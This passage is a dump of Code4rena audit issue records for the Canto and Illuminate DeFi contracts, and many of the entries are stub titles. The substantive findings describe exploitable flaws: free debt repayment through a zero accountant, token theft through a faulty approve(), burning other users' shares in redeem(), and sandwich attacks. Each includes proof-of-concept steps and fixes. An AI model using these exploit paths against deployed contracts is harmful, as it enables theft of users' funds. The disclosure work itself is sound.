as 0. 2. The _accountant state variable is now 0. 3. With _accountant being set to 0, Alice calls `repayBorrowFresh()` having the payer be address 0, borrower being her address and 500 as repayAmount. 4. Assume address 0 already holds 1000 CTokens, Alice's debt will be fully repaid and she'll gain 500 CTokens for free. ## C. Accounting contract could loses funds/tokens When the _accountant is set to 0, CTokens/CNote will be sent to the zero address making the Accounting contract lose funds whenever `doTransferOut` is called. ## Tools Used Manual review ## Recommended Mitigation Steps Instead of a `if (address(_accountant) != address(0))` statement, an additional require check to ensure `accountant_` parameter is not 0 address can be used in addition to the require check for caller is admin. Change this ```if (address(_accountant) != address(0)){ require(msg.sender == admin, \"CNote::_setAccountantContract:Only admin may call this function\"); } ``` to this ``` require(msg.sender == admin, \"CNote::_setAccountantContract:Only admin may call this function\"); require(accountant_ != address(0), \"accoutant can't be zero address\"); ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/116", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/115", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "Incorrect condition always bound to fail", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/113", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-06-canto-findings", "body": "Incorrect condition always bound to fail"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/110", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "In `ERC20`, `TotalSupply` is broken", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/108", "labels": ["bug", "3 (High Risk)", "sponsor disputed"], "target": "2022-06-canto-findings", "body": "In `ERC20`, `TotalSupply` is broken"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/106", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/105", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Incorrect amount taken", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/98", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/CNote.sol#L129 # Vulnerability details ## Impact It was observed that in repayBorrowFresh function, User is asked to send repayAmount instead of repayAmountFinal. This can lead to loss of user funds as user might be paying extra ## Proof of Concept 1. User is making a repayment which eventually calls repayBorrowFresh function 2. Assuming repayAmount == type(uint).max, so repayAmountFinal becomes accountBorrowsPrev 3. This means User should only transfer in accountBorrowsPrev instead of repayAmount but that is not true. Contract is transferring repayAmount instead of repayAmountFinal as seen at CNote.sol#L129 ``` uint actualRepayAmount = doTransferIn(payer, repayAmount); ``` ## Recommended Mitigation Steps Revise CNote.sol#L129 to below: ``` uint actualRepayAmount = doTransferIn(payer, repayAmountFinal); ``` "}, {"title": "No max limit on update frequency", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/97", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-canto-findings", "body": "No max limit on update frequency"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/92", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": " AccountantDelegate: sweepInterest function will destroy the cnote in the contract.", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/89", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market/blob/ab31a612be354e252d72faead63d86b844172761/contracts/Accountant/AccountantDelegate.sol#L74-L92 # Vulnerability details ## Impact When the user borrows note tokens, the AccountantDelegate contract provides note tokens and gets cnote tokens. Later, when the user repays the note tokens, the cnote tokens are destroyed and the note tokens are transferred to the AccountantDelegate contract. However, in the sweepInterest function of the AccountantDelegate contract, all cnote tokens in the contract will be transferred to address 0. This will prevent the user from repaying the note tokens, and the sweepInterest function will not calculate the interest correctly later. ## Proof of Concept https://github.com/Plex-Engineer/lending-market/blob/ab31a612be354e252d72faead63d86b844172761/contracts/Accountant/AccountantDelegate.sol#L74-L92 https://github.com/Plex-Engineer/lending-market/blob/ab31a612be354e252d72faead63d86b844172761/contracts/CToken.sol#L533 ## Tools Used None ## Recommended Mitigation Steps ``` function sweepInterest() external override returns(uint) { uint noteBalance = note.balanceOf(address(this)); uint CNoteBalance = cnote.balanceOf(address(this)); Exp memory expRate = Exp({mantissa: cnote.exchangeRateStored()}); // obtain exchange Rate from cNote Lending Market as a mantissa (scaled by 1e18) uint cNoteConverted = mul_ScalarTruncate(expRate, CNoteBalance); //calculate truncate(cNoteBalance* mantissa{expRate}) uint noteDifferential = sub_(note.totalSupply(), noteBalance); //cannot underflow, subtraction first to prevent against overflow, subtraction as integers require(cNoteConverted >= noteDifferential, \"Note Loaned to LendingMarket must increase in value\"); uint amtToSweep = sub_(cNoteConverted, noteDifferential); note.transfer(treasury, amtToSweep); - cnote.transfer(address(0), CNoteBalance); return 0; } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/86", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "AccountantDelegator and TreasuryDelegator: abi.decode(data, (uint)) does not check the data length", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/84", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Treasury/TreasuryDelegator.sol#L44-L56 # Vulnerability details ## Impact In AccountantDelegator and TreasuryDelegator contracts, when using abi.decode(data, (uint)) to convert data to uint type, the length of data is not checked, when the returned data is of bytes type, the abi.decode will return 0x20. ## Proof of Concept https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Treasury/TreasuryDelegator.sol#L44-L56 https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Accountant/AccountantDelegator.sol#L54-L74 This contract can test that when the function returns bytes data, abi.encode will decode the return value as 0x20. ``` pragma solidity 0.8.10; contract A{ uint public destination; uint256 public number; function convertA() external{ (bool su,bytes memory ret )= address(this).call(abi.encodeWithSelector(this.ret.selector)); number = ret.length; destination = abi.decode(ret, (uint)); } function ret() public returns(bytes memory){ return \"1234\"; } } ``` ## Tools Used None ## Recommended Mitigation Steps Requires data.length == 32 "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/76", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/75", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "baseRatePerBlock is set in constructor but not anywhere else", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/72", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/NoteInterest.sol#L73-L77 # Vulnerability details ## Impact baseRatePerBlock cannot be relied on to accurately contain current interest rate ## Proof of Concept baseRatePerBlock is set in the constructor but then not update in either updateBaseRate or _setBaseRatePerYear which update baseRatePerYear. Any contract that pulls the interest rate from baseRatePerBlock will always get the interest rate initially set at the creation of the contract ## Tools Used ## Recommended Mitigation Steps Update baseRatePerBlock in updateBaseRate and _setBaseRatePerYear "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/69", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/67", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/60", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/59", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/55", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/54", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Accountant can't be initialized", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/53", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market/blob/main/contracts/Accountant/AccountantDelegate.sol#L29 # Vulnerability details ## Impact It's not possible to initialize the accountant because of a mistake in the function's require statement. I rate it as MED since a key part of the protocol wouldn't be available until the contract is modified and redeployed. ## Proof of Concept The issue is the following `require()` statement: https://github.com/Plex-Engineer/lending-market/blob/main/contracts/Accountant/AccountantDelegate.sol#L29 There, the function checks whether the accountant has received the correct amount of tokens. But, it compares the accountant's balance with the `_initialSupply`. That value is always 0. So the require statement will always fail When the Note contract is initialized, `_initialSupply` is set to 0: - https://github.com/Plex-Engineer/lending-market/blob/main/deploy/canto/004_deploy_Note.ts#L14 - https://github.com/Plex-Engineer/lending-market/blob/main/contracts/Note.sol#L9 - https://github.com/Plex-Engineer/lending-market/blob/main/contracts/ERC20.sol#L32 After `_mint_to_Accountant()` mints `type(uint).max` tokens to the accountant: https://github.com/Plex-Engineer/lending-market/blob/main/contracts/Note.sol#L18 That increases the `totalSupply` but not the `_initialSupply`: https://github.com/Plex-Engineer/lending-market/blob/main/contracts/ERC20.sol#L242 The `_initialSupply` value is only modified by the ERC20 contract's constructor. ## Tools Used none ## Recommended Mitigation Steps Change the require statement to ```sol require(note.balanceOf(msg.sender) == note.totalSupply(), \"AccountantDelegate::initiatlize: Accountant has not received payment\"); ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/48", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Comptroller uses the wrong address for the WETH contract", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/46", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Comptroller.sol#L1469 # Vulnerability details ## Impact The Comptroller contract uses a hardcoded address for the WETH contract which is not the correct one. Because of that, it will be impossible to claim COMP rewards. That results in a loss of funds so I rate it as HIGH. ## Proof of Concept The Comptroller's `getWETHAddress()` function: https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Comptroller.sol#L1469 It's a left-over from the original compound repo: https://github.com/compound-finance/compound-protocol/blob/master/contracts/Comptroller.sol#L1469 It's used by the `grantCompInternal()` function: https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Comptroller.sol#L1377 That function is called by `claimComp()`: https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Comptroller.sol#L1365 If there is a contract stored in that address and it doesn't adhere to the interface (doesn't have a `balanceOf()` and `transfer()` function), the transaction will revert. If there is no contract, the call will succeed without having any effect. In both cases, the user doesn't get their COMP rewards. ## Tools Used none ## Recommended Mitigation Steps The WETH contract's address should be parsed to the Comptroller through the constructor or another function instead of being hardcoded. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/45", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/44", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/43", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "It's not possible to execute governance proposals through the GovernorBravoDelegate contract", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/39", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market/blob/main/contracts/Governance/GovernorBravoDelegate.sol#L63 https://github.com/Plex-Engineer/lending-market/blob/main/contracts/Governance/GovernorBravoDelegate.sol#L87 # Vulnerability details ## Impact It's not possible to execute a proposal through the GovernorBravoDelegate contract because the `executed` property of it is set to `true` when it's queued up. Since this means that the governance contract is unusable, it might result in locked-up funds if those were transferred to the contract before the issue comes up. Because of that I'd rate it as HIGH. ## Proof of Concept `executed` is set to `true`: https://github.com/Plex-Engineer/lending-market/blob/main/contracts/Governance/GovernorBravoDelegate.sol#L63 Here, the `execute()` function checks whether the proposal's state is `Queued`: https://github.com/Plex-Engineer/lending-market/blob/main/contracts/Governance/GovernorBravoDelegate.sol#L87 But, since the `execute` property is `true`, the `state()` function will return `Executed`: https://github.com/Plex-Engineer/lending-market/blob/main/contracts/Governance/GovernorBravoDelegate.sol#L117 In the original compound repo, `executed` is `false` when the proposal is queued up: https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/GovernorBravoDelegate.sol#L111 ## Tools Used none ## Recommended Mitigation Steps Just delete the line where `executed` is set to `true`. Since the zero-value is `false` anyway, you'll save gas as well. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/38", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/30", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/29", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Use call() instead of transfer() on a payable address", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/28", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "Use call() instead of transfer() on a payable address"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/27", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "Anyone can create Proposal Unigov Proposal-Store.sol", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/26", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/manifest/blob/688e9b4e7835854c22ef44b045d6d226b784b4b8/contracts/Proposal-Store.sol#L46 https://github.com/Plex-Engineer/lending-market/blob/b93e2867a64b420ce6ce317f01c7834a7b6b17ca/contracts/Governance/GovernorBravoDelegate.sol#L37 # Vulnerability details ## Impact Proposal Store is used to store proposals that have already passed (https://code4rena.com/contests/2022-06-new-blockchain-contest#unigov-module-615-sloc) \" Upon a proposal\u2019s passing, the proposalHandler either deploys the ProposalStore contract (if it is not already deployed) or appends the proposal into the ProposalStore\u2019s mapping ( uint \u21d2 Proposal)\" But anyone can add proposals to the contract directly via AddProposal() function. Unigov proposals can be queued and executed by anyone in GovernorBravoDelegate contract https://github.com/Plex-Engineer/lending-market/blob/b93e2867a64b420ce6ce317f01c7834a7b6b17ca/contracts/Governance/GovernorBravoDelegate.sol#L37 ## Proof of Concept https://github.com/Plex-Engineer/manifest/blob/688e9b4e7835854c22ef44b045d6d226b784b4b8/contracts/Proposal-Store.sol#L46 ## Recommended Mitigation Steps Authorization checks for AddProposal, only governance module should be able to update "}, {"title": "Anyone can set the `baseRatePerYear` after the `updateFrequency` has passed", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/22", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/NoteInterest.sol#L118-L129 # Vulnerability details ## Impact The `updateBaseRate()` function is public and lacks access control, so anyone can set the critical variable `baseRatePerYear` once the block delta has surpassed the `updateFrequency` variable. This will have negative effects on the borrow and supply rates used anywhere else in the protocol. The updateFrequency is explained to default to 24 hours per the comments, so this vulnerability will be available every day. Important to note, the admin can fix the `baseRatePerYear` by calling the admin-only `_setBaseRatePerYear()` function. However, calling this function does not set the `lastUpdateBlock` so users will still be able to change the rate back after the 24 hours waiting period from the previous change. ## Proof of Concept ``` function updateBaseRate(uint newBaseRatePerYear) public { // check the current block number uint blockNumber = block.number; uint deltaBlocks = blockNumber.sub(lastUpdateBlock); if (deltaBlocks > updateFrequency) { // pass in a base rate per year baseRatePerYear = newBaseRatePerYear; lastUpdateBlock = blockNumber; emit NewInterestParams(baseRatePerYear); } } ``` ## Tools Used Manual review. ## Recommended Mitigation Steps I have trouble understanding the intention of this function. It appears that the rate should only be able to be set by the admin, so the `_setBaseRatePerYear()` function seems sufficient. Otherwise, add access control for only trusted parties. "}, {"title": "Stealing Wrapped Manifest in WETH.sol", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/19", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/WETH.sol#L85 # Vulnerability details ## Impact Allows anyone to steal all wrapped manifest from the WETH.sol contract. Attacker can also withdraw to convert Wrapped Manifest to Manifest. Issue in approve(address owner, address spender) external function. This allows an attacker to approve themselves to spend another user's tokens. Attacker can then use transferFrom(address src, address dst, uint wad) function to send tokens to themself. ## Proof of Concept Hardhat + Chai test to show exploit. Test file is test/POC.js https://github.com/soosh1337/POC_lending_market_WETH ## Tools Used VScode, hardhat ## Recommended Mitigation Steps I believe there is no need for this function. There is another approve(address guy, uint wad) function that uses msg.sender to approve allowance. There should be no need for someone to approve another user's allowance. Remove the approve(address owner, address spender) function. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/11", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/10", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/9", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Agreement & Disclosures", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/1", "labels": [], "target": "2022-06-canto-findings", "body": "Agreement & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/413", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/412", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/410", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/409", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/408", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/407", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/406", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/405", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/404", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/403", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/402", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/399", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/395", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/394", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/392", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "[H-05] Not minting iPTs for lenders in several lend functions", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/391", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L247-L305 https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L317-L367 https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L192-L235 # Vulnerability details ## Impact Using any of the `lend` function mentioned, will result in loss of funds to the lender - as the funds are transferred from them but no iPTs are sent back to them! Basically making lending via these external PTs unusable. ## Proof of Concept There is no minting of iPTs to the lender (or at all) in the 2 `lend` functions below: https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L247-L305 https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L317-L367 Corresponding to lending of (respectively): swivel element Furthermore, in: https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L227-L234 Comment says \"Purchase illuminate PTs directly to msg.sender\", but this is not happening. sending yield PTs at best. ## Recommended Mitigation Steps Mint the appropriate amount of iPTs to the lender - like in the rest of the lend functions. "}, {"title": "Sandwich attacks are possible as there is no slippage control option in Marketplace and in Lender yield swaps", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/389", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/marketplace/MarketPlace.sol#L131-L189 https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L634-L657 # Vulnerability details Swapping function in Marketplace and Lender's yield() can be sandwiched as there is no slippage control option. Trades can happen at a manipulated price and end up receiving fewer tokens than current market price dictates. Placing severity to be medium as those are system core operations, while funds there can be substantial, so sandwich attacks are often enough economically viable and thus probable, while they result in a partial fund loss. ## Proof of Concept All four swapping functions of Marketplace do not allow for slippage control: https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/marketplace/MarketPlace.sol#L131-L189 ```solidity /// @notice sells the PT for the PT via the pool /// @param u address of the underlying asset /// @param m maturity (timestamp) of the market /// @param a amount of PT to swap /// @return uint128 amount of PT bought function sellPrincipalToken( address u, uint256 m, uint128 a ) external returns (uint128) { IPool pool = IPool(pools[u][m]); Safe.transfer(IERC20(address(pool.fyToken())), address(pool), a); return pool.sellFYToken(msg.sender, pool.sellFYTokenPreview(a)); } /// @notice buys the underlying for the PT via the pool /// @param u address of the underlying asset /// @param m maturity (timestamp) of the market /// @param a amount of underlying tokens to sell /// @return uint128 amount of PT received function buyPrincipalToken( address u, uint256 m, uint128 a ) external returns (uint128) { IPool pool = IPool(pools[u][m]); Safe.transfer(IERC20(address(pool.base())), address(pool), a); return pool.buyFYToken(msg.sender, pool.buyFYTokenPreview(a), a); } /// @notice sells the underlying for the PT via the pool /// @param u address of the underlying asset /// @param m maturity (timestamp) of the market /// @param a amount of underlying to swap /// @return uint128 amount of underlying sold function sellUnderlying( address u, uint256 m, uint128 a ) external returns (uint128) { IPool pool = IPool(pools[u][m]); Safe.transfer(IERC20(address(pool.base())), address(pool), a); return pool.sellBase(msg.sender, pool.sellBasePreview(a)); } /// @notice buys the underlying for the PT via the pool /// @param u address of the underlying asset /// @param m maturity (timestamp) of the market /// @param a amount of PT to swap /// @return uint128 amount of underlying bought function buyUnderlying( address u, uint256 m, uint128 a ) external returns (uint128) { IPool pool = IPool(pools[u][m]); Safe.transfer(IERC20(address(pool.fyToken())), address(pool), a); return pool.buyBase(msg.sender, pool.buyBasePreview(a), a); } ``` Similarly, Lender's yield does the swapping without the ability to control the slippage: https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L634-L657 ```solidity /// @notice transfers excess funds to yield pool after principal tokens have been lent out /// @dev this method is only used by the yield, illuminate and swivel protocols /// @param u address of an underlying asset /// @param y the yield pool to lend to /// @param a the amount of underlying tokens to lend /// @param r the receiving address for PTs /// @return uint256 the amount of tokens sent to the yield pool function yield( address u, address y, uint256 a, address r ) internal returns (uint256) { // preview exact swap slippage on yield uint128 returned = IYield(y).sellBasePreview(Cast.u128(a)); // send the remaing amount to the given yield pool Safe.transfer(IERC20(u), y, a); // lend out the remaining tokens in the yield pool IYield(y).sellBase(r, returned); return returned; } ``` ## Recommended Mitigation Steps Consider adding minimum accepted return argument to the five mentioned functions and condition execution success on it so the caller can control for the realized slippage and sustain the sandwich attacks to an extent. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/388", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Illuminate PT redeeming allows for burning from other accounts", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/387", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/redeemer/Redeemer.sol#L114-L128 # Vulnerability details Illuminate PT burns shares from a user supplied address account instead of user's account. With such a discrepancy a malicious user can burn all other's user shares by having the necessary shares on her balance, while burning them from everyone else. Setting the severity to be high as this allows for system-wide stealing of user's funds. ## Proof of Concept Redeemer's Illuminate redeem() checks the balance of msg.sender, but burns from the balance of user supplied `o` address: https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/redeemer/Redeemer.sol#L114-L128 L120: ```solidity uint256 amount = token.balanceOf(msg.sender); ``` L126: ```solidity token.burn(o, amount); ``` ```solidity address principal = IMarketPlace(marketPlace).markets(u, m, p); if (p == uint8(MarketPlace.Principals.Illuminate)) { // Get Illuminate's principal token IERC5095 token = IERC5095(principal); // Get the amount of tokens to be redeemed from the sender uint256 amount = token.balanceOf(msg.sender); // Make sure the market has matured if (block.timestamp < token.maturity()) { revert Invalid('not matured'); } // Burn the prinicipal token from Illuminate token.burn(o, amount); // Transfer the original underlying token back to the user Safe.transferFrom(IERC20(u), lender, address(this), amount); ``` `o` address isn't validated and used as provided. Burning proceeds as usual, Illuminate PT burns second argument `a` from the first argument `f`, i.e. `f`'s balance to be reduced by `a`: 